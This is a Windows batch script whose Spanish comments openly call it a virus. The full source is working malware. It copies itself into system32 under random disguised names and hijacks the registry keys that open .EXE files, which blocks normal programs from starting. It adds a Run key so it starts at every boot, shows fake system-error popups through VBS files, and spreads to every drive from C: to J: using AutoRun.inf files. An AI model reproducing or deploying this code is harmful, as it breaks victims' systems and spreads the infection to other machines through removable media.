@echo off
title Executor - by SmartGenius
rem Virus que se encarga de deshabilitar el inicio
rem de aplicaciones ejecutables o .EXE, y ademas
rem de mostrar mensajes de error al azar y copiarse
rem atraves de USB con nombres diferentes...

:ini
if exist "%windir%\system32\exer.exe" goto main
if exist "%windir%\system32\extool.exe" goto main
if exist "%windir%\system32\brush.exe" goto main
if exist "%windir%\system32\linux.exe" goto main
if exist "%windir%\system32\herr.exe" goto main
if exist "%windir%\system32\smart.exe" goto main
if exist "%windir%\system32\help.exe" goto main
if exist "%windir%\system32\fuck.exe" goto main
if exist "%windir%\system32\hello.exe" goto main
if exist "%windir%\system32\open.exe" goto main

:crea
call :rdn
call :name%r%
copy %0 "%windir%\system32\%nam%.exe"
reg add HKCR\exefile\shell\open\command /ve /t REG_SZ /d "%nam%.exe" /f
reg add HKCR\exefile\shell\runas\command /ve /t REG_SZ /d "%nam%.exe" /f
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "%run%" /t REG_SZ /d "%windir%\system32\%nam%.exe" /f
set my=%0
call :main
ping -n 100 0.0.0.0 > nul
goto ini

:rdn
set p=
set /a p=((%random%*%random%)+%random%)/%random%
set r=%p:~-1%
goto :eof

:name1
set nam=
set nam=exer
set run="Herramienta del Sistema"
goto :eof

:name2
set nam=
set nam=extool
set run="Systool"
goto :eof

:name3
set nam=
set nam=brush
set run="Ayuda"
goto :eof

:name4
set nam=
set nam=linux
set run="Microsoft"
goto :eof

:name5
set nam=
set nam=herr
set run="Inicio"
goto :eof

:name6
set nam=
set nam=smart
set run="Smart"
goto :eof

:name7
set nam=
set nam=help
set run="Mantenimiento"
goto :eof

:name8
set nam=
set nam=fuck
set run="You"
goto :eof

:name9
set nam=
set nam=hello
set run="Limpieza"
goto :eof

:name0
set nam=
set nam=open
set run="Adobe"
goto :eof

:main
call :msgr
call :copiausb
goto :eof

:msgr
call :rdn
call :msg%r%
goto :eof

:msg1
echo MsgBox "Error del Sistema. No se puede continuar.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg2
echo MsgBox "No se puede Abrir.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg3
echo MsgBox "Archivo Corrupto.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg4
echo MsgBox "Error de Datos.Comprobacion de Redundancia Ciclica", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg5
echo MsgBox "Error de Configuracion. No se puede continuar.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg6
echo MsgBox "El Sistema no Responde.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg7
echo MsgBox "No hay Memoria suficiente para realizar la Accion.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg8
echo MsgBox "Visita http://foro.code-makers.es.", 16, "Visitanos..." >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg9
echo MsgBox "You was owned by iSmart.", 16, "Hacktool" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:msg0
echo MsgBox "Fuck You :P.", 16, "Error del Sistema" >%temp%\msgr.vbs
start %temp%\msgr.vbs
goto :eof

:copiausb
if exist C: call :creausb C
if exist D: call :creausb D
if exist E: call :creausb E
if exist F: call :creausb F
if exist G: call :creausb G
if exist H: call :creausb H
if exist I: call :creausb I
if exist J: call :creausb J
goto :eof

:creausb
call :rdn
call :name%r%
copy %my% "%1:\%nam%.exe"
echo [Autorun] > "%1:\AutoRun.inf"
echo open="%nam%.exe" >> "%1:\AutoRun.inf"
echo action=Abrir Pendrive >> "%1:\AutoRun.inf"
echo shellexecute= "\%nam%.exe" >> "%1:\AutoRun.inf"
goto :eof